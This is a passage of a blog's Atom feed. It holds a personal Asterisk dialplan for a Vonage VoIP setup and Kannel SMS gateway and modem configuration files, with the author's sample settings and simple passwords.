/&gt;;&lt;br /&gt;;       Check to see if SIP device is in use and DO NOT PAGE if they are&lt;br /&gt;;&lt;br /&gt;;   ${ARG1} - Device to page&lt;br /&gt;&lt;br /&gt;exten =&gt; s,1,ChanIsAvail(${ARG1},s)   ; s is for ANY call&lt;br /&gt;exten =&gt; s,n,GoToIf([${AVAILORIGCHAN} = ""]?fail:autoanswer)&lt;br /&gt;exten =&gt; s,n(autoanswer),Set(_ALERT_INFO="RA")   ; This is for the PolyComs&lt;br /&gt;exten =&gt; s,n,SIPAddHeader(Call-Info: Answer-After=0) ; This is for the Grandstream, Snoms, and Others&lt;br /&gt;exten =&gt; s,n,NoOp()     ; Add others here and Post on the Wiki!!!!&lt;br /&gt;exten =&gt; s,n,Dial(${ARG1})&lt;br /&gt;exten =&gt; s,n(fail),Hangup&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[demo]&lt;br /&gt;include =&gt; stdexten&lt;br /&gt;;&lt;br /&gt;; We start with what to do when a call first comes in.&lt;br /&gt;;&lt;br /&gt;exten =&gt; s,1,Wait(1)   ; Wait a second, just for fun&lt;br /&gt;exten =&gt; s,n,Answer   ; Answer the line&lt;br /&gt;exten =&gt; s,n,Set(TIMEOUT(digit)=5) ; Set Digit Timeout to 5 seconds&lt;br /&gt;exten =&gt; s,n,Set(TIMEOUT(response)=10) ; Set Response Timeout to 10 seconds&lt;br /&gt;exten =&gt; s,n(restart),BackGround(demo-congrats) ; Play a congratulatory message&lt;br /&gt;exten =&gt; s,n(instruct),BackGround(demo-instruct) ; Play some instructions&lt;br /&gt;exten =&gt; s,n,WaitExten   ; Wait for an extension to be dialed.&lt;br /&gt;&lt;br /&gt;exten =&gt; 2,1,BackGround(demo-moreinfo) ; Give some more information.&lt;br /&gt;exten =&gt; 2,n,Goto(s,instruct)&lt;br /&gt;&lt;br /&gt;exten =&gt; 3,1,Set(LANGUAGE()=fr)  ; Set language to french&lt;br /&gt;exten =&gt; 3,n,Goto(s,restart)  ; Start with the congratulations&lt;br /&gt;&lt;br /&gt;exten =&gt; 1000,1,Goto(default,s,1)&lt;br /&gt;;&lt;br /&gt;; We also create an example user, 1234, who is on the console and has&lt;br /&gt;; voicemail, etc.&lt;br /&gt;;&lt;br /&gt;exten =&gt; 1234,1,Playback(transfer,skip)  ; "Please hold while..." &lt;br /&gt;     ; (but skip if channel is not up)&lt;br /&gt;exten =&gt; 1234,n,Gosub(${EXTEN},stdexten(${GLOBAL(CONSOLE)}))&lt;br /&gt;exten =&gt; 1234,n,Goto(default,s,1)  ; exited Voicemail&lt;br /&gt;&lt;br /&gt;exten =&gt; 1235,1,Voicemail(1234,u)  ; Right to voicemail&lt;br /&gt;&lt;br /&gt;exten =&gt; 1236,1,Dial(Console/dsp)  ; Ring forever&lt;br /&gt;exten =&gt; 1236,n,Voicemail(1234,b)  ; Unless busy&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; # for when they're done with the demo&lt;br /&gt;;&lt;br /&gt;exten =&gt; #,1,Playback(demo-thanks) ; "Thanks for trying the demo"&lt;br /&gt;exten =&gt; #,n,Hangup   ; Hang them up.&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; A timeout and "invalid extension rule"&lt;br /&gt;;&lt;br /&gt;exten =&gt; t,1,Goto(#,1)   ; If they take too long, give up&lt;br /&gt;exten =&gt; i,1,Playback(invalid)  ; "That's not valid, try again"&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; Create an extension, 500, for dialing the&lt;br /&gt;; Asterisk demo.&lt;br /&gt;;&lt;br /&gt;exten =&gt; 500,1,Playback(demo-abouttotry); Let them know what's going on&lt;br /&gt;exten =&gt; 500,n,Dial(IAX2/guest@pbx.digium.com/s@default) ; Call the Asterisk demo&lt;br /&gt;exten =&gt; 500,n,Playback(demo-nogo) ; Couldn't connect to the demo site&lt;br /&gt;exten =&gt; 500,n,Goto(s,6)  ; Return to the start over message.&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; Create an extension, 600, for evaluating echo latency.&lt;br /&gt;;&lt;br /&gt;exten =&gt; 600,1,Playback(demo-echotest) ; Let them know what's going on&lt;br /&gt;exten =&gt; 600,n,Echo   ; Do the echo test&lt;br /&gt;exten =&gt; 600,n,Playback(demo-echodone) ; Let them know it's over&lt;br /&gt;exten =&gt; 600,n,Goto(s,6)  ; Start over&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; You can use the Macro Page to intercom a individual user&lt;br /&gt;exten =&gt; 76245,1,Macro(page,SIP/Grandstream1)&lt;br /&gt;; or if your peernames are the same as extensions&lt;br /&gt;exten =&gt; _7XXX,1,Macro(page,SIP/${EXTEN})&lt;br /&gt;;&lt;br /&gt;;&lt;br /&gt;; System Wide Page at extension 7999&lt;br /&gt;;&lt;br /&gt;exten =&gt; 7999,1,Set(TIMEOUT(absolute)=60)&lt;br /&gt;exten =&gt; 7999,2,Page(Local/Grandstream1@page&amp;Local/Xlite1@page&amp;Local/1234@page/n,d)&lt;br /&gt;&lt;br /&gt;; Give voicemail at extension 8500&lt;br /&gt;;&lt;br /&gt;exten =&gt; 8500,1,VoicemailMain&lt;br /&gt;exten =&gt; 8500,n,Goto(s,6)&lt;br /&gt;;&lt;br /&gt;; Here's what a phone entry would look like (IXJ for example)&lt;br /&gt;;&lt;br /&gt;;exten =&gt; 1265,1,Dial(Phone/phone0,15)&lt;br /&gt;;exten =&gt; 1265,n,Goto(s,5)&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; The page context calls up the page macro that sets variables needed for auto-answer&lt;br /&gt;; It is in is own context to make calling it from the Page() application as simple as &lt;br /&gt;; Local/{peername}@page&lt;br /&gt;;&lt;br /&gt;[page]&lt;br /&gt;exten =&gt; _X.,1,Macro(page,SIP/${EXTEN})&lt;br /&gt;&lt;br /&gt;;[mainmenu]&lt;br /&gt;;&lt;br /&gt;; Example "main menu" context with submenu&lt;br /&gt;;&lt;br /&gt;;exten =&gt; s,1,Answer&lt;br /&gt;;exten =&gt; s,n,Background(thanks)  ; "Thanks for calling press 1 for sales, 2 for support, ..."&lt;br /&gt;;exten =&gt; s,n,WaitExten&lt;br /&gt;;exten =&gt; 1,1,Goto(submenu,s,1)&lt;br /&gt;;exten =&gt; 2,1,Hangup&lt;br /&gt;;include =&gt; default&lt;br /&gt;;&lt;br /&gt;;[submenu]&lt;br /&gt;;exten =&gt; s,1,Ringing     ; Make them comfortable with 2 seconds of ringback&lt;br /&gt;;exten =&gt; s,n,Wait,2&lt;br /&gt;;exten =&gt; s,n,Background(submenuopts) ; "Thanks for calling the sales department.  Press 1 for steve, 2 for..."&lt;br /&gt;;exten =&gt; s,n,WaitExten&lt;br /&gt;;exten =&gt; 1,1,Goto(default,steve,1)&lt;br /&gt;;exten =&gt; 2,1,Goto(default,mark,2)&lt;br /&gt;&lt;br /&gt;[default]&lt;br /&gt;;&lt;br /&gt;; By default we include the demo.  In a production system, you &lt;br /&gt;; probably don't want to have the demo there.&lt;br /&gt;;&lt;br /&gt;include =&gt; demo&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; An extension like the one below can be used for FWD, Nikotel, sipgate etc.&lt;br /&gt;; Note that you must have a [sipprovider] section in sip.conf&lt;br /&gt;;&lt;br /&gt;;exten =&gt; _41X.,1,Dial(SIP/${FILTER(0-9,${EXTEN:2})}@sipprovider,,r)&lt;br /&gt;&lt;br /&gt;; Real extensions would go here. Generally you want real extensions to be&lt;br /&gt;; 4 or 5 digits long (although there is no such requirement) and start with a&lt;br /&gt;; single digit that is fairly large (like 6 or 7) so that you have plenty of&lt;br /&gt;; room to overlap extensions and menu options without conflict.  You can alias&lt;br /&gt;; them with names, too, and use global variables&lt;br /&gt;&lt;br /&gt;;exten =&gt; 6245,hint,SIP/Grandstream1&amp;SIP/Xlite1(Joe Schmoe) ; Channel hints for presence&lt;br /&gt;;exten =&gt; 6245,1,Dial(SIP/Grandstream1,20,rt) ; permit transfer&lt;br /&gt;;exten =&gt; 6245,n(dial),Dial(${HINT},20,rtT) ; Use hint as listed&lt;br /&gt;;exten =&gt; 6245,n,Voicemail(6245,u)  ; Voicemail (unavailable)&lt;br /&gt;;exten =&gt; 6245,s+1,Hangup   ; s+1, same as n&lt;br /&gt;;exten =&gt; 6245,dial+101,Voicemail(6245,b) ; Voicemail (busy)&lt;br /&gt;;exten =&gt; 6361,1,Dial(IAX2/JaneDoe,,rm)  ; ring without time limit&lt;br /&gt;;exten =&gt; 6389,1,Dial(MGCP/aaln/1@192.168.0.14)&lt;br /&gt;;exten =&gt; 6390,1,Dial(JINGLE/caller/callee) ; Dial via jingle using labels&lt;br /&gt;;exten =&gt; 6391,1,Dial(JINGLE/asterisk@digium.com/mogorman@astjab.org) ;Dial via jingle using asterisk as the transport and calling mogorman.&lt;br /&gt;;exten =&gt; 6394,1,Dial(Local/6275/n)  ; this will dial ${MARK}&lt;br /&gt;&lt;br /&gt;;exten =&gt; 6275,1,Gosub(${EXTEN},stdexten(${MARK}))&lt;br /&gt;      ; assuming ${MARK} is something like DAHDI/2&lt;br /&gt;;exten =&gt; 6275,n,Goto(default,s,1)  ; exited Voicemail&lt;br /&gt;;exten =&gt; mark,1,Goto(6275,1)   ; alias mark to 6275&lt;br /&gt;;exten =&gt; 6536,1,Gosub(${EXTEN},stdexten(${WIL}))&lt;br /&gt;      ; Ditto for wil&lt;br /&gt;;exten =&gt; 6536,n,Goto(default,s,1)  ; exited Voicemail&lt;br /&gt;;exten =&gt; wil,1,Goto(6236,1)&lt;br /&gt;&lt;br /&gt;;If you want to subscribe to the status of a parking space, this is&lt;br /&gt;;how you do it. Subscribe to extension 6600 in sip, and you will see&lt;br /&gt;;the status of the first parking lot with this extensions' help&lt;br /&gt;;exten =&gt; 6600,hint,park:701@parkedcalls&lt;br /&gt;;exten =&gt; 6600,1,noop&lt;br /&gt;;&lt;br /&gt;; Some other handy things are an extension for checking voicemail via&lt;br /&gt;; voicemailmain&lt;br /&gt;;&lt;br /&gt;;exten =&gt; 8500,1,VoicemailMain&lt;br /&gt;;exten =&gt; 8500,n,Hangup&lt;br /&gt;;&lt;br /&gt;; Or a conference room (you'll need to edit meetme.conf to enable this room)&lt;br /&gt;;&lt;br /&gt;;exten =&gt; 8600,1,Meetme(1234)&lt;br /&gt;;&lt;br /&gt;; Or playing an announcement to the called party, as soon it answers&lt;br /&gt;;&lt;br /&gt;;exten = 8700,1,Dial(${MARK},30,A(/path/to/my/announcemsg))&lt;br /&gt;;&lt;br /&gt;&lt;br /&gt;; example of a compartmentalized company called "acme"&lt;br /&gt;;&lt;br /&gt;; this is the context that your incoming IAX/SIP trunk dumps you in...&lt;br /&gt;;[acme-incoming]&lt;br /&gt;;exten =&gt; s,1,Wait(1)&lt;br /&gt;;exten =&gt; s,n,Answer()&lt;br /&gt;;exten =&gt; s,n(menu),Playback(acme/vm-brief-menu)&lt;br /&gt;;exten =&gt; s,n(exten),Background(vm-enter-num-to-call)&lt;br /&gt;;exten =&gt; s,n,WaitExten(5)&lt;br /&gt;;exten =&gt; s,n(goodbye),Playback(vm-goodbye)&lt;br /&gt;;exten =&gt; s,n(end),Hangup()&lt;br /&gt;;&lt;br /&gt;;include  =&gt; acme-extens&lt;br /&gt;;&lt;br /&gt;;exten =&gt; i,1,Playback(vm-invalid)&lt;br /&gt;;exten =&gt; i,n,Goto(s,exten)   ; optionally, transfer to operator&lt;br /&gt;;&lt;br /&gt;;exten =&gt; t,1,Goto(s,goodbye)&lt;br /&gt;;&lt;br /&gt;; this is the context our internal SIP hardphones use (see sip.conf)&lt;br /&gt;;&lt;br /&gt;;[acme-internal]&lt;br /&gt;;exten =&gt; s,1,Answer()&lt;br /&gt;;exten =&gt; s,n(exten),Background(vm-enter-num-to-call)&lt;br /&gt;;exten =&gt; s,n,WaitExten(5)&lt;br /&gt;;exten =&gt; s,n(goodbye),Playback(vm-goodbye)&lt;br /&gt;;exten =&gt; s,n(end),Hangup()&lt;br /&gt;;&lt;br /&gt;;include =&gt; trunkint&lt;br /&gt;;include =&gt; trunkld&lt;br /&gt;;include =&gt; trunklocal&lt;br /&gt;;&lt;br /&gt;;include =&gt; acme-extens&lt;br /&gt;;&lt;br /&gt;; you can test what your system sounds like to outside callers by dialing this&lt;br /&gt;;exten =&gt; 777,1,DISA(no-password,acme-incoming)&lt;br /&gt;;&lt;br /&gt;; grouping of acme's extensions... never used directly, always included.&lt;br /&gt;;&lt;br /&gt;;[acme-extens]&lt;br /&gt;;include =&gt; stdexten&lt;br /&gt;;exten =&gt; 111,1,Gosub(111,stdexten(SIP/pete_1,acme))&lt;br /&gt;;exten =&gt; 111,n,Goto(s,exten)&lt;br /&gt;;&lt;br /&gt;;exten =&gt; 112,1,Gosub(112,stdexten(SIP/nancy_1,acme))&lt;br /&gt;;exten =&gt; 112,n,Goto(s,end)&lt;br /&gt;;&lt;br /&gt;; end of acme example&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; Time context: you can patch this in via the following.&lt;br /&gt;;&lt;br /&gt;; [acme-internal]&lt;br /&gt;; ...&lt;br /&gt;; exten =&gt; 777,1,Gosub(time)&lt;br /&gt;; exten =&gt; 777,n,Hangup()&lt;br /&gt;;&lt;br /&gt;; ...&lt;br /&gt;; include =&gt; time&lt;br /&gt;;&lt;br /&gt;; Note: if you're geographically spread out, you can have SIP extensions&lt;br /&gt;; specify their own local timezone in sip.conf as:&lt;br /&gt;;&lt;br /&gt;; [boi]&lt;br /&gt;; type=friend&lt;br /&gt;; context=acme-internal&lt;br /&gt;; callerid="Boise Ofc. &lt;2083451111&gt;"&lt;br /&gt;; ...&lt;br /&gt;; ; use system-wide default timezone of MST7MDT&lt;br /&gt;;&lt;br /&gt;; [lws]&lt;br /&gt;; type=friend&lt;br /&gt;; context=acme-internal&lt;br /&gt;; callerid="Lewiston Ofc. &lt;2087431111&gt;"&lt;br /&gt;; ...&lt;br /&gt;; setvar=timezone=PST8PDT&lt;br /&gt;;&lt;br /&gt;; "timezone" isn't a 'reserved' name in any way, and other places where&lt;br /&gt;; the timezone is significant (e.g. calls to "SayUnixTime()", etc) will&lt;br /&gt;; require modification as well.  Note that voicemail.conf already has&lt;br /&gt;; a mechanism for timezones.&lt;br /&gt;;&lt;br /&gt;&lt;br /&gt;[time]&lt;br /&gt;exten =&gt; _X.,30000(time),NoOp(Time: ${EXTEN} ${timezone})&lt;br /&gt;exten =&gt; _X.,n,Wait(0.25)&lt;br /&gt;exten =&gt; _X.,n,Answer()&lt;br /&gt;; the amount of delay is set for English; you may need to adjust this time&lt;br /&gt;; for other languages if there's no pause before the synchronizing beep.&lt;br /&gt;exten =&gt; _X.,n,Set(FUTURETIME=$[${EPOCH} + 12])&lt;br /&gt;exten =&gt; _X.,n,SayUnixTime(${FUTURETIME},Zulu,HNS)&lt;br /&gt;exten =&gt; _X.,n,SayPhonetic(z)&lt;br /&gt;; use the timezone associated with the extension (sip only), or system-wide&lt;br /&gt;; default if one hasn't been set.&lt;br /&gt;exten =&gt; _X.,n,SayUnixTime(${FUTURETIME},${timezone},HNS)&lt;br /&gt;exten =&gt; _X.,n,Playback(spy-local)&lt;br /&gt;exten =&gt; _X.,n,WaitUntil(${FUTURETIME})&lt;br /&gt;exten =&gt; _X.,n,Playback(beep)&lt;br /&gt;exten =&gt; _X.,n,Return()&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; ANI context: use in the same way as "time" above&lt;br /&gt;;&lt;br /&gt;&lt;br /&gt;[ani]&lt;br /&gt;exten =&gt; _X.,40000(ani),NoOp(ANI: ${EXTEN})&lt;br /&gt;exten =&gt; _X.,n,Wait(0.25)&lt;br /&gt;exten =&gt; _X.,n,Answer()&lt;br /&gt;exten =&gt; _X.,n,Playback(vm-from)&lt;br /&gt;exten =&gt; _X.,n,SayDigits(${CALLERID(ani)})&lt;br /&gt;exten =&gt; _X.,n,Wait(1.25)&lt;br /&gt;exten =&gt; _X.,n,SayDigits(${CALLERID(ani)}) ; playback again in case of missed digit&lt;br /&gt;exten =&gt; _X.,n,Return()&lt;br /&gt;&lt;br /&gt;; For more information on applications, just type "core show applications" at your&lt;br /&gt;; friendly Asterisk CLI prompt.&lt;br /&gt;;&lt;br /&gt;; "core show application &lt;command&gt;" will show details of how you&lt;br /&gt;; use that particular application in this file, the dial plan. &lt;br /&gt;; "core show functions" will list all dialplan functions&lt;br /&gt;; "core show function &lt;COMMAND&gt;" will show you more information about&lt;br /&gt;; one function. Remember that function names are UPPER CASE.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[general]&lt;br /&gt;static=yes&lt;br /&gt;writeprotect=yes&lt;br /&gt;autofallthrough=yes&lt;br /&gt;clearglobalvars=yes&lt;br /&gt;priorityjumping=no&lt;br /&gt;&lt;br /&gt;; Secure context for outgoing calls from local SIP phones&lt;br /&gt;[secure]&lt;br /&gt;; Internal calls&lt;br /&gt;include =&gt; default&lt;br /&gt;; Parked calls&lt;br /&gt;include =&gt; parkedcalls&lt;br /&gt;; Emergency calls&lt;br /&gt;exten =&gt; 911,1,Dial(SIP/${EXTEN}@vonage-sip,60,r)&lt;br /&gt;; Local calls&lt;br /&gt;exten =&gt; _NXXXXXX,1,Dial(SIP/${EXTEN}@vonage-sip,60,r)&lt;br /&gt;; Long distance calls&lt;br /&gt;exten =&gt; _1NXXNXXXXXX,1,Dial(SIP/${EXTEN}@vonage-sip,60,r)&lt;br /&gt;&lt;br /&gt;[vonage-exten]&lt;br /&gt;; An incoming call from Vonage rings local extension 1011 and 1012&lt;br /&gt;; All voicemail goes to mailbox 1000&lt;br /&gt;exten =&gt; 12125551234,1,Dial(SIP/1011&amp;SIP/1012,20)&lt;br /&gt;exten =&gt; 12125551234,n,Voicemail(su1000)&lt;br /&gt;exten =&gt; 12125551234,n,Hangup&lt;br /&gt;&lt;br /&gt;; Press * during voicemail greeting to retrieve your messages&lt;br /&gt;exten =&gt; a,1,VoicemailMain(1000)&lt;br /&gt;exten =&gt; a,n,Hangup&lt;br /&gt;&lt;br /&gt;[default]&lt;br /&gt;; Local extension to retrieve your messages&lt;br /&gt;exten =&gt; 1000,1,VoicemailMain(s1000)&lt;br /&gt;exten =&gt; 1000,n,Hangup&lt;br /&gt;&lt;br /&gt;; Local SIP phone at extension 1011&lt;br /&gt;; All voicemail goes to mailbox 1000&lt;br /&gt;exten =&gt; 1011,1,Dial(SIP/1011,45)&lt;br /&gt;exten =&gt; 1011,n,Voicemail(su1000)&lt;br /&gt;exten =&gt; 1011,n,Hangup&lt;br /&gt;&lt;br /&gt;; Local SIP phone at extension 1012&lt;br /&gt;; All voicemail goes to mailbox 1000&lt;br /&gt;exten =&gt; 1012,1,Dial(SIP/1012,45)&lt;br /&gt;exten =&gt; 1012,n,Voicemail(su1000)&lt;br /&gt;exten =&gt; 1012,n,Hangup&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-1035358059784236576?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/1035358059784236576/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/09/asterisk-vonage-configuration-file.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/1035358059784236576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/1035358059784236576'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/09/asterisk-vonage-configuration-file.html' title='Asterisk + Vonage configuration file'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-6538720434832060636</id><published>2010-09-12T21:28:00.000-07:00</published><updated>2010-09-12T21:37:43.717-07:00</updated><title type='text'>Kannel configuration file</title><content type='html'>Here is my current Kannel SMS gateway configuration file for use with a GSM modem. &lt;br /&gt;&lt;br /&gt;---------------  kannel.conf  ------------&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;# THIS IS A SAMPLE CONFIGURATION FOR SMS KANNEL&lt;br /&gt;#&lt;br /&gt;# It is run like this:&lt;br /&gt;#&lt;br /&gt;#  1% gw/bearerbox gw/smskannel.conf&lt;br /&gt;#  2% gw/smsbox gw/smskannel.conf&lt;br /&gt;#  3% test/fakesmsc -p 10000 -H localhost -i 1 -m 100 "123 345 text nop"&lt;br /&gt;#&lt;br /&gt;# ..all 3 commands in separate shells (or screen sessions)&lt;br /&gt;#&lt;br /&gt;# For any modifications to this file, see Kannel User Guide&lt;br /&gt;# If that does not help, send email to users@...&lt;br /&gt;#&lt;br /&gt;#   Kalle Marjola May 2000&lt;br /&gt;#   Changed for new fakesmsc version by Uoti Urpala Jan 2001&lt;br /&gt;#   Added service and sendsms for HTTP SMSC by Kalle Marjola Mar 2001&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;group = core&lt;br /&gt;admin-port = 13000&lt;br /&gt;smsbox-port = 13001&lt;br /&gt;admin-password = bar&lt;br /&gt;status-password = foo&lt;br /&gt;admin-deny-ip = ""&lt;br /&gt;admin-allow-ip = "127.0.0.1"&lt;br /&gt;log-file = "/var/log/kannel.log"&lt;br /&gt;log-level = 0&lt;br /&gt;box-deny-ip = "*.*.*.*"&lt;br /&gt;box-allow-ip = "127.0.0.1"&lt;br /&gt;unified-prefix = "00358,0"&lt;br /&gt;#access-log = "access.log"&lt;br /&gt;#store-file = "kannel.store"&lt;br /&gt;#ssl-certkey-file = "mycertandprivkeyfile.pem"&lt;br /&gt;dlr-storage = mysql&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# SMSC CONNECTIONS&lt;br /&gt;#&lt;br /&gt;#group = smsc&lt;br /&gt;#smsc = fake&lt;br /&gt;#smsc-id = FAKE&lt;br /&gt;#port = 10001&lt;br /&gt;#connect-allow-ip = 127.0.0.1&lt;br /&gt;&lt;br /&gt;#NOKIA 7110&lt;br /&gt;#group = smsc&lt;br /&gt;#smsc = at2&lt;br /&gt;#smsc-id = 7110&lt;br /&gt;#modemtype=nokiaphone&lt;br /&gt;#device=/dev/ttyS0&lt;br /&gt;#speed = 19200&lt;br /&gt;#pin=1234&lt;br /&gt;#include=/usr/local/etc/modems.conf&lt;br /&gt;&lt;br /&gt;#NOKIA N70-1&lt;br /&gt;group = smsc&lt;br /&gt;smsc = at&lt;br /&gt;smsc-id = N70&lt;br /&gt;modemtype = auto&lt;br /&gt;device = /dev/ttyACM0&lt;br /&gt;my-number = 0725529969&lt;br /&gt;connect-allow-ip = 127.0.0.1&lt;br /&gt;log-level = 0&lt;br /&gt;speed = 460800&lt;br /&gt;pin = 6594&lt;br /&gt;include = /etc/kannel/modems.conf&lt;br /&gt;&lt;br /&gt;#AUTO_CONF&lt;br /&gt;#group = smsc&lt;br /&gt;#smsc = at&lt;br /&gt;#modemtype = auto&lt;br /&gt;#device=/dev/ttyACM0&lt;br /&gt;#my-number = 254725529969&lt;br /&gt;#connect-allow-ip = 127.0.0.1&lt;br /&gt;#log-level = 0&lt;br /&gt;&lt;br /&gt;# SMSBOX SETUP&lt;br /&gt;&lt;br /&gt;group = smsbox&lt;br /&gt;bearerbox-host = localhost&lt;br /&gt;sendsms-port = 13013&lt;br /&gt;global-sender = 13013&lt;br /&gt;sendsms-chars = "0123456789 +-"&lt;br /&gt;log-file = "/var/log/smsbox.log"&lt;br /&gt;log-level = 0&lt;br /&gt;access-log = "access.log"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# SEND-SMS USERS&lt;br /&gt;&lt;br /&gt;group = sendsms-user&lt;br /&gt;username = tester&lt;br /&gt;password = foobar&lt;br /&gt;#user-deny-ip = ""&lt;br /&gt;#user-allow-ip = ""&lt;br /&gt;&lt;br /&gt;# this sender is for Kannel relay testing (http_smsc)&lt;br /&gt;&lt;br /&gt;group = sendsms-user&lt;br /&gt;username = kannel&lt;br /&gt;password = rL4y&lt;br /&gt;user-deny-ip = "*.*.*.*"&lt;br /&gt;user-allow-ip = "127.0.0.1"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# SERVICES&lt;br /&gt;&lt;br /&gt;group = sms-service&lt;br /&gt;keyword = nop&lt;br /&gt;text = "You asked nothing and I did it!"&lt;br /&gt;&lt;br /&gt;# this service is for Kannel relay testing, when this Kannel&lt;br /&gt;# works as relay gateway&lt;br /&gt;&lt;br /&gt;group = sms-service&lt;br /&gt;keyword = relay&lt;br /&gt;get-url = "http://localhost:15130/sms?user=kannel&amp;pass=rL4y&amp;from=%p&amp;to=%P&amp;text=%r"&lt;br /&gt;max-messages = 0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# there should be default always&lt;br /&gt;&lt;br /&gt;group = sms-service&lt;br /&gt;keyword = default&lt;br /&gt;text = "No service specified"&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;# DLR with MySQL support configuration&lt;br /&gt;#&lt;br /&gt;# Example defining a MySQL database connection resource and&lt;br /&gt;# the required table and field values.&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;group = mysql-connection&lt;br /&gt;id = mydlr&lt;br /&gt;host = localhost&lt;br /&gt;username = root&lt;br /&gt;password = "xxxxxx"&lt;br /&gt;database = kannel&lt;br /&gt;# max count of connections that will be opened for dbpool&lt;br /&gt;# default is 1&lt;br /&gt;max-connections = 1&lt;br /&gt;&lt;br /&gt;group = dlr-db&lt;br /&gt;id = mydlr&lt;br /&gt;table = dlr&lt;br /&gt;field-smsc = smsc&lt;br /&gt;field-timestamp = ts&lt;br /&gt;field-destination = destination&lt;br /&gt;field-source = source&lt;br /&gt;field-service = service&lt;br /&gt;field-url = url&lt;br /&gt;field-mask = mask&lt;br /&gt;field-status = status&lt;br /&gt;field-boxc-id = boxc&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#Modem Detection&lt;br /&gt;group = modems&lt;br /&gt;id = sonyericsson_k800&lt;br /&gt;name = "Sony Ericsson K800"&lt;br /&gt;detect-string = "Sony Ericsson"&lt;br /&gt;detect-string2 = "K800"&lt;br /&gt;init-string = "AT+CNMI=2,3"&lt;br /&gt;#message-storage = "SM"&lt;br /&gt;enable-mms = true&lt;br /&gt;&lt;br /&gt;#Modem Detection&lt;br /&gt;group = modems&lt;br /&gt;id = nokia_6610&lt;br /&gt;name = "Nokia 6610"&lt;br /&gt;detect-string = "Nokia"&lt;br /&gt;detect-string2 = "6610"&lt;br /&gt;init-string = "AT+CNMI=1,2,0,1,0"&lt;br /&gt;message-storage = "SM"&lt;br /&gt;enable-mms = true&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------- modems.conf ---------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# Modems configuration&lt;br /&gt;#&lt;br /&gt;# Example and default values&lt;br /&gt;#&lt;br /&gt;# group = modems&lt;br /&gt;# id = "my-id"&lt;br /&gt;# name = "my-name"&lt;br /&gt;# detect-string = "MODEM"&lt;br /&gt;# detect-string2 = "" [Default]&lt;br /&gt;# init-string = "AT+CNMI=1,2,0,0,0" [Default]&lt;br /&gt;# speed = 9600 [Default]&lt;br /&gt;# enable-hwhs = "AT+IFC=2,2" [Default]&lt;br /&gt;# need-sleep = false [Default]&lt;br /&gt;# no-pin = false [Default]&lt;br /&gt;# no-smsc = false [Default]&lt;br /&gt;# sendline-sleep = 100 [Default, miliseconds]&lt;br /&gt;# keepalive-cmd = "AT" [Default]&lt;br /&gt;# broken = false [Default]&lt;br /&gt;# message-storage = "SM"&lt;br /&gt;# enable-mms = false [Default]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# If modemtype=auto, try everyone and defaults to this one&lt;br /&gt;group = modems&lt;br /&gt;id = generic&lt;br /&gt;name = "Generic Modem"&lt;br /&gt;&lt;br /&gt;group = modems&lt;br /&gt;id = wavecom&lt;br /&gt;name = Wavecom&lt;br /&gt;detect-string = "WAVECOM"&lt;br /&gt;&lt;br /&gt;group = modems&lt;br /&gt;id = premicell&lt;br /&gt;name = Premicell&lt;br /&gt;detect-string = "PREMICEL"&lt;br /&gt;no-pin = true&lt;br /&gt;no-smsc = true&lt;br /&gt;&lt;br /&gt;group = modems&lt;br /&gt;id = siemens_tc35&lt;br /&gt;name = "Siemens TC35"&lt;br /&gt;detect-string = "SIEMENS"&lt;br /&gt;detect-string2 = "TC35"&lt;br /&gt;init-string = "AT+CNMI=1,2,0,1,1"&lt;br /&gt;speed = 19200&lt;br /&gt;enable-hwhs = "AT\\Q3"&lt;br /&gt;need-sleep = true&lt;br /&gt;&lt;br /&gt;group = modems&lt;br /&gt;id = siemens_m20&lt;br /&gt;name = "Siemens M20"&lt;br /&gt;detect-string = "SIEMENS"&lt;br /&gt;detect-string2 = "M20"&lt;br /&gt;speed = 19200&lt;br /&gt;enable-hwhs = "AT\\Q3"&lt;br /&gt;keepalive-cmd = "AT+CBC;+CSQ"&lt;br /&gt;need-sleep = true&lt;br /&gt;&lt;br /&gt;group = modems&lt;br /&gt;id = siemens_sl45&lt;br /&gt;name = "Siemens SL45"&lt;br /&gt;detect-string = "SIEMENS"&lt;br /&gt;detect-string2 = "SL45"&lt;br /&gt;init-string = "AT+CNMI=1,2,2,2,1"&lt;br /&gt;keepalive-cmd = "AT+CBC;+CSQ"&lt;br /&gt;speed = 19200&lt;br /&gt;enable-hwhs = "AT\\Q3"&lt;br 